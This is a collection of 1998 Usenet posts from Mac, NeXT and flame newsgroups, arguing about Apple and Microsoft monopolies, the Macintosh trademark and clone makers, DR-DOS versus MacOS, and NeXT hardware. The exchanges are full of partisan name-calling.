Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <6tupg9$6fb$1@plo.sierra.com> <Josh.McKee-1909981057150001@166-93-69-218.rmi.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Sat, 19 Sep 1998 23:58:57 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 19 Sep 1998 22:57:27 -0500
Joshua T. McKee wrote:
> God you people are stupid!
>
> Are you saying that Sun has a monopoly?
No, Sun has an active software and hardware licensing program.
> What about SGI? What about HP?
Both also have licensing programs, I believe.
> All these companies make their own computers without allowing clones (Sun
> at one time did but I believe has stopped that practice).
No, that's definitely not true. Sun clones are sold under by Axil
Computers of Santa Clara, for instance.
> Are you going
> to tell me, with a straight face, that all these companies have a monopoly
> because they are the only producers of their respective computers? That
> should be good for a laugh.
If these companies were the only sources of their products, yes, the
same (baseless) charges levelled against Microsoft would apply to these
companies, as it were.
> Joe's right...just because Apple is the only manufacturer of the Macintosh
> doesn't make them a monopoly.
MJP
From: jmcn@ont.com (Jason McNorton)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 19 Sep 1998 17:45:20 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <MPG.106deffd8a6d042a989710@news.ont.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <Josh.McKee-1909981059520001@166-93-69-218.rmi.net> <joe.ragosta-1909981829490001@elk70.dol.net>
In article <joe.ragosta-1909981829490001@elk70.dol.net>,
joe.ragosta@dol.net says...
> In article <Josh.McKee-1909981059520001@166-93-69-218.rmi.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> > You know what's scary Joe? The fact that these people argue that they
> > made a rational choice is choosing the PC. They've clearly demonstrated
> > that rational thought is beyond their comprehension.
>
> I know. There are days I just can't believe what apparently passes for
> logic from some of the Wintrolls.
It's even more scary that there are zealots out there who are so closed
minded that if anyone chooses what they don't use, they are idiots.
Date: Sat, 19 Sep 1998 19:11:02 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-1909981911020001@elk53.dol.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <Josh.McKee-1909981059520001@166-93-69-218.rmi.net> <joe.ragosta-1909981829490001@elk70.dol.net> <MPG.106deffd8a6d042a989710@news.ont.com>
In article <MPG.106deffd8a6d042a989710@news.ont.com>, jmcn@ont.com (Jason
McNorton) wrote:
> In article <joe.ragosta-1909981829490001@elk70.dol.net>,
> joe.ragosta@dol.net says...
> > In article <Josh.McKee-1909981059520001@166-93-69-218.rmi.net>,
> > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> > > You know what's scary Joe? The fact that these people argue that they
> > > made a rational choice is choosing the PC. They've clearly demonstrated
> > > that rational thought is beyond their comprehension.
> >
> > I know. There are days I just can't believe what apparently passes for
> > logic from some of the Wintrolls.
>
> It's even more scary that there are zealots out there who are so closed
> minded that if anyone chooses what they don't use, they are idiots.
True. But how is that a response to my statements?
I've never ridiculed someone merely for their choice of computer
platforms. That's something that's much more common in the Wintel crowd.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sat, 19 Sep 1998 22:38:08 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u24eh$mdi$1@birch.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <macghod-1709982310130001@sdn-ar-001casbarp293.dialsprint.net> <Josh.McKee-1909981217550001@166-93-57-192.rmi.net> <6u12j0$3jf$1@ash.prod.itd.earthlink.net> <Josh.McKee-1909982143420001@166-93-57-197.rmi.net>
Joshua T. McKee wrote in message ...
>In article <6u12j0$3jf$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
><s124@[REMOVE]earthlink.net> wrote:
>
>> Joshua T. McKee wrote in message ...
>> >In article
<macghod-1709982310130001@sdn-ar-001casbarp293.dialsprint.net>,
>> >macghod@concentric.net (Steve Sullivan) wrote:
>> >
>> >> In article <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com>,
>> >> don.brown@cesoft.com (Donald Brown) wrote:
>> >>
>> >> > >>In fact, just Microsoft should be illegal.
>> >> > >
>> >> > >My my my, you are a macsheep! Baaaa.... take away microsoft's
>> >constitutional
>> >> > >rights.... Baaaaaaaaaaaa.....
>> >> > >
>> >> > >You should read the constitution someday.
>> >> > >
>> >> > And you should read the anti-trust laws.
>> >>
>> >> Really?
>> >> I didnt realize their was anything in the constitution making
microsoft
>> >illegal
>> >
>> >
>> >Where did he say anything about the constitution? He specifically
stated
>> >"anti-trust" laws.
>>
>>
>> Josh: Baaaaa.... Baaaaa... I caaaaaaant reeeeeead... Baaaaaa baaaaaaaa.
>
>
>Of course you can't read...if you could, you obviousl would have seen that
>he said "anti-trust" law and not consitution.
I was saying that YOU can't read. Sheesh!!!
>Of course, instead of addressing the issue, you'd rather call names.
>Typical of idiots who cannot form a real arguement.
I made a arguement. Too bad you didn't read it.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: Sat, 19 Sep 1998 22:24:30 GMT
Organization: MiCMAC
Message-ID: <EzJy8v.Dt6@micmac.com>
References: <35FC1A30.EE020BD5@nstar.net> <rmcassid-1409981129210001@hephaestus.eng.uci.edu>
<EzAHE7.4r9@T-FCN.Net> <35FD7387.8E180932@ericsson.com>
<EzDEM4.4B5@micmac.com> <3602C45C.2E8EBA8A@ericsson.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
NNTP-Posting-Date: 20 Sep 1998 05:21:30 GMT
Cc: Michael.Peck@ericsson.com
This was written in comp.sys.next.advocacy
(<3602C45C.2E8EBA8A@ericsson.com>) by Michael Peck:
> Michel Coste wrote:
>
> > It's time to inform you that since quite a long time my newsreader adds
> > automatically the following tag to your name: "asshole"
>
> Now we have *your* opinion! Anal fixations aside, were you going to
> contribute to the discussion, or is this just a love-in?
>
It's not *my* opinion. It's just a fact based on the way you act... That's
all!
Change your behavior, the label will follow...
mc
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sat, 19 Sep 1998 22:36:24 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u24bb$m92$1@birch.prod.itd.earthlink.net>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd$1@birch.prod.itd.earthlink.net> <don.brown-1909982319020001@dsm-ia1-02.ix.netcom.com>
Donald Brown wrote in message ...
>In article <6u1lfo$snd$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
><s124@[REMOVE]earthlink.net> wrote:
>
>>vapor wrote in message <36074e77.39113826@news.alt.net>...
>>>"Todd Arneson" <s124@[REMOVE]earthlink.net> wrote:
>>>
>>>>I installed DR-DOS on my old 386 and I can go online with it!!! It's
>>great.
>>>>( http://www.caldera.com )
>>>
>>>It's great for people who don't have a lot of money. You can pick up
>>>old 386s and 486s for next to nothing, then all you have to do is buy
>>>a decent modem and you're set. Caldera also makes a nice distro of
>>>linux you can D/L for free. Just because people can't afford a $1000
>>>dollar computer doesn't mean they can get online.
>>
>>
>>I'll tell you something too, I'd rather have a 286 running DR-DOS than a
>>PowerPC G3 233MHz running MacOS.
>
>No accounting for taste, I guess. Of course, my PowerPC G3 233MHz is
>going to run rings around your 286, but if your hatred is so irrational
>and overpowering, well, isn't it good that there's a choice?
FACT: DR-DOS on a 286 will NOT crash as much as the iMac.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 19 Sep 1998 22:51:07 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u256v$nbp$1@birch.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <6tupg9$6fb$1@plo.sierra.com> <Josh.McKee-1909981057150001@166-93-69-218.rmi.net> <6u12ns$3qh$1@ash.prod.itd.earthlink.net> <Josh.McKee-1909982145540001@166-93-57-197.rmi.net>
Joshua T. McKee wrote in message ...
>In article <6u12ns$3qh$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
><s124@[REMOVE]earthlink.net> wrote:
>
>> Joshua T. McKee wrote in message ...
>> >In article <6tupg9$6fb$1@plo.sierra.com>, "Earl Malmrose"
>> ><earl.malmrose@nospam.sierra.com> wrote:
>
>> Apple has a monopoly on the Apple market, I.E: Computers running MacOS.
They
>> do NOT have a monopoly on the entire computer market.
>
>
>Of course they do...and Sun has a monopoly on Sun computers. And SGI has
>a monopoly on SGI computers. I would even say that Microsoft has a
>monopoly on Microsoft software And you have a monopoly of your own
>identity. So what is your point?
you missed the point. Apple makes the apple type computers. Maybe this will
show you what I mean:
Apple (Mac) x86 (PC, IBM Compatable)
| |
Apple HP, SONY, DELL
Packard Bel, AST,
Acer, ect.
get the point?????????
>You are a moron if you think that Apple has the same kind of monopoly as
>Microsoft.
Applew does have a monopily on the Apple Operating system market.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
>Josh
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 19 Sep 1998 22:45:03 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u24rn$mu3$1@birch.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <Josh.McKee-1909982157120001@166-93-57-197.rmi.net>
Joshua T. McKee wrote in message ...
>In article <6u0jgo$esu$1@oak.prod.itd.earthlink.net>, "Todd Arneson"
><s124@[REMOVE]earthlink.net> wrote:
>
>> Joe Ragosta wrote in message ...
>> >In article <JuGM1.187$vp1.313907@newsfeed.slurp.net>, "Dan"
>> ><dan@knowspaam.com> wrote:
>
>> >How many times does this need to be explained to you?
>> >
>> >Go to the U.S. Trademark office and look up "Macintosh". It's the name
of
>> >a specific line of computers manufactured by Apple computer.
>>
>>
>> You sure are stupid! Macintosh means the Macintosh Platform, Apple, UMAX,
>> and Motorola to name a few, running Apple MacOS or equivalent.
>
>
>The only idiot is yourself. The Macintosh is a trademark.
Yes, I know. But "macintosh compatable" is not. Just like "IBM Compatible"
doesn't infringe on IBM's rights. Wake up you MacSheep!
>Of course, being as dumb as you are,
>you won't.
Wow, hard hitting insults. What next, are you going to call me a clown just
like you buddy Derek? BAHAHAHA!
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 19 Sep 1998 18:25:42 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u1ln3$t0m$1@birch.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <Josh.McKee-1909981059520001@166-93-69-218.rmi.net> <joe.ragosta-1909981829490001@elk70.dol.net> <MPG.106deffd8a6d042a989710@news.ont.com> <joe.ragosta-1909981911020001@elk53.dol.net>
Joe Ragosta wrote in message ...
>In article <MPG.106deffd8a6d042a989710@news.ont.com>, jmcn@ont.com (Jason
>McNorton) wrote:
>
>> In article <joe.ragosta-1909981829490001@elk70.dol.net>,
>> joe.ragosta@dol.net says...
>> > In article <Josh.McKee-1909981059520001@166-93-69-218.rmi.net>,
>> > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>> > > You know what's scary Joe? The fact that these people argue that
they
>> > > made a rational choice is choosing the PC. They've clearly
demonstrated
>> > > that rational thought is beyond their comprehension.
>> >
>> > I know. There are days I just can't believe what apparently passes for
>> > logic from some of the Wintrolls.
>>
>> It's even more scary that there are zealots out there who are so closed
>> minded that if anyone chooses what they don't use, they are idiots.
>
>True. But how is that a response to my statements?
>
>I've never ridiculed someone merely for their choice of computer
>platforms. That's something that's much more common in the Wintel crowd.
Just like Bill Clinton has never told a lie.
(Note to the mac-impared: I'm being sarcastic)
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sat, 19 Sep 1998 18:21:45 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u1lfo$snd$1@birch.prod.itd.earthlink.net>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net>
vapor wrote in message <36074e77.39113826@news.alt.net>...
>"Todd Arneson" <s124@[REMOVE]earthlink.net> wrote:
>
>>
>>vapor wrote in message <360ce2bf.11533800@news.alt.net>...
>>>"Todd Arneson" <s124@[REMOVE]earthlink.net> wrote:
>>>
>>>>Jerry M. wrote in message ...
>>>>>In article <6tu5m3$lik$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
>>>>><s124@[REMOVE]earthlink.net> wrote:
>>>>>
>>>>>> Joe Ragosta wrote in message ...
>>>>>> >In article <6ts9la$3hj$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
>>>>>> ><s124@[REMOVE]earthlink.net> wrote:
>>>>>> >
>>>>>> >> Donald Brown wrote in message ...
>>>>>> >> >In article <6trbks$t5r$1@birch.prod.itd.earthlink.net>, "Todd
>>>>Arneson"
>>>>>> >> ><s124@[REMOVE]earthlink.net> wrote:
>>>>>> >> >
>>>>>> >> >>Jerry M. wrote in message ...
>>>>>> >> >>>In article <dE1M1.481$dZ.471199@newsfeed.slurp.net>, "Dan"
>>>>>> >> >>><dan@knowspaam.com> wrote:
>>>>>> >> >>>
>>>>>> >> >>>> A quick remider to you all...
>>>>>> >> >>>> It is _not_ illegal to have a monopoly.
>>>>>> >> >>>
>>>>>> >> >>>No, but it should be.
>>>>>> >> >>>
>>>>>> >> >>>In fact, just Microsoft should be illegal.
>>>>>> >> >>
>>>>>> >> >>My my my, you are a macsheep! Baaaa.... take away microsoft's
>>>>>> >> constitutional
>>>>>> >> >>rights.... Baaaaaaaaaaaa.....
>>>>>> >> >>
>>>>>> >> >>You should read the constitution someday.
>>>>>> >> >>
>>>>>> >> >And you should read the anti-trust laws.
>>>>>> >>
>>>>>> >>
>>>>>> >> But the "anti trust" laws are unconstitutional!!!!!!! The
>>constitution
>>>>>> has
>>>>>> >> superiority over ANY laws. Like I said, read the constitution
>>someday.
>>>>>> >
>>>>>> >Really? I guess I missed the part of the Constitution giving
companies
>>>>the
>>>>>> >right to run roughshod over their competition and monopolize the
>>economy
>>>>>> >of the country.
>>>>>>
>>>>>> So? If people didn't like the products, they wouldn't buy them!!!
>>>>>
>>>>>And what people will HAVE TO BUY when there will be no other
>>alternatives?
>>>>>
>>>>>The freedom to choose what you want will be skipped. See the point?
>>>>
>>>>
>>>>There is plunty of compition to Microsoft. Unix, Linux, OS2, MacOS,
BeOS,
>>>>heck, even DR-DOS if you wanted to.
>>>>
>>>
>>>Yep, and Dr-Dos is free, It has multitasking, and the same company
>>>even makes a dos based web browser that runs in 4 megs of ram. I
>>>swear! All these MacSheep(TM) can do is whine.
>>
>>
>>I installed DR-DOS on my old 386 and I can go online with it!!! It's
great.
>>( http://www.caldera.com )
>
>It's great for people who don't have a lot of money. You can pick up
>old 386s and 486s for next to nothing, then all you have to do is buy
>a decent modem and you're set. Caldera also makes a nice distro of
>linux you can D/L for free. Just because people can't afford a $1000
>dollar computer doesn't mean they can get online.
I'll tell you something too, I'd rather have a 286 running DR-DOS than a
PowerPC G3 233MHz running MacOS.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 19 Sep 1998 18:24:05 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u1lk2$ssm$1@birch.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <joe.ragosta-1909981818460001@elk70.dol.net>
Joe Ragosta wrote in message ...
>In article <6u0jgo$esu$1@oak.prod.itd.earthlink.net>, "Todd Arneson"
><s124@[REMOVE]earthlink.net> wrote:
>
>> Joe Ragosta wrote in message ...
>> >In article <JuGM1.187$vp1.313907@newsfeed.slurp.net>, "Dan"
>> ><dan@knowspaam.com> wrote:
>> >
>> >> Joe Ragosta wrote in message ...
>> >>
>> >> >> Apple has a monopoly of the mac market, not apple has a monopoly of
>> the
>> >> >> apple market.
>> >> >
>> >> >OK. The more appropriate analogy is that Compaq has a monopoly of the
>> >> >Presario market and IBM has a monopoly on the ThinkPad market. It's
the
>> >> >same thing. And it's a meaningless statement.
>> >> >
>> >> >Macintosh is a registered tradename for some computers manufactured
by
>> >> >Apple Computer.
>> >>
>> >> No... The Presario is not a platform, and neither is the ThinkPad. The
>> >> Macintosh is a platform.
>> >
>> >How many times does this need to be explained to you?
>> >
>> >Go to the U.S. Trademark office and look up "Macintosh". It's the name
of
>> >a specific line of computers manufactured by Apple computer.
>>
>>
>> You sure are stupid! Macintosh means the Macintosh Platform, Apple, UMAX,
>> and Motorola to name a few, running Apple MacOS or equivalent.
>
>_I_ am stupid? Then you should have no problem finding a Umax or
>PowerComputing ad calling their computers "Macintosh" computers.
>
>You can't. Because they didn't. Because Apple would have sued their butts
>for trademark violation.
They call them Macintosh Compatibles.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sun, 20 Sep 1998 02:26:03 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3604AE0B.B8D47E20@nstar.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <don.brown-1909981712540001@dsm-ia1-09.ix.netcom.com>
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NNTP-Posting-Date: 20 Sep 1998 07:27:31 GMT
Donald Brown wrote:
> So, without the Mac, you can chose between CLIs, an OS with less mindshare
> than the Mac, and Microsoft.
I'd send you a screenshot of my Linux and Solaris GUIs, but then you'd
spot my evil xterms and the point would be lost on you...
MJP
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
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References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu>
<6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk>
<6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com>
<6tlmsr$pec$1@nnrp1.dejanews.com> <nDIL1.6166$MS.15673094@news.rdc1.sdca.home.com>
<6tnnv7$3sj$1@msunews.cl.msu.edu> <6tonmp$hhn$1@news.spacelab.net>
<6tpffs$2fc$3@msunews.cl.msu.edu> <6tpjf0$18r$3@news.xmission.com>
<1dfjnm0.11ahe4i1xxlnpsN@h209-21-28-6.ncal.verio.net> <6u0401$mim$1@ironhorse.plsys.co.uk>
<6u10iu$gb4$4@msunews.cl.msu.edu>
Message-ID: <gQZM1.7244$MS.17924323@news.rdc1.sdca.home.com>
Date: Sun, 20 Sep 1998 02:33:48 GMT
NNTP-Posting-Date: Sat, 19 Sep 1998 19:33:48 PDT
Organization: @Home Network
In <6u10iu$gb4$4@msunews.cl.msu.edu> spammers@ruin.the.internet.channelu.com
wrote:
> BTW: Based on discussions with Moose I'm rather sure NeXT would have
> sold over a million of the NRW's from 93-96 - probably more..
>
> Just too bad I guess.
>
>
Whoa... when NRW was about to release there was no such demand. NeXT had
sold 50,000+ NeXTstations commercially and three letter gov't agencies had
stopped their consumption of black hardware. NeXT lost the Soloman (I
think) account in NY... then NeXT announced they would kill hardware. It
was all over...
If Moose is so sure they had 1mil NRW's sold, SJ would not have shuttered
the factory. Moose's memory is more vivid than accurate in this instance.
No offense to Moose, since Moose sounds like a name for a Big Fella :-)
-r
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 20 Sep 1998 10:23:32 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6u2l34$dnf$1@news.cs.tu-berlin.de>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com> <36014AE5.391275AA@ericsson.com>
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Michael Peck <Michael.Peck@ericsson.com> writes:
>And still no C++ or Perl or Python bindings, as far as I know. If
>someone were to come up with Perl bindings for Yellow Box, I'd become
>strangely interested in a hurry. Ditto for Python. I don't have the time
>or the interest to do it myself.
See Objective-Everything for Tcl, Perl and Python bindings all
in one package.
Interested yet?
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: antwun@yahoo.com (vapor)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sun, 20 Sep 1998 09:54:35 GMT
Organization: ...
Message-ID: <3605d030.691314@news.alt.net>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <don.brown-1909981712540001@dsm-ia1-09.ix.netcom.com> <3604AE0B.B8D47E20@nstar.net>
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Michael Peck <mjpeck@nstar.net> wrote:
>Donald Brown wrote:
>
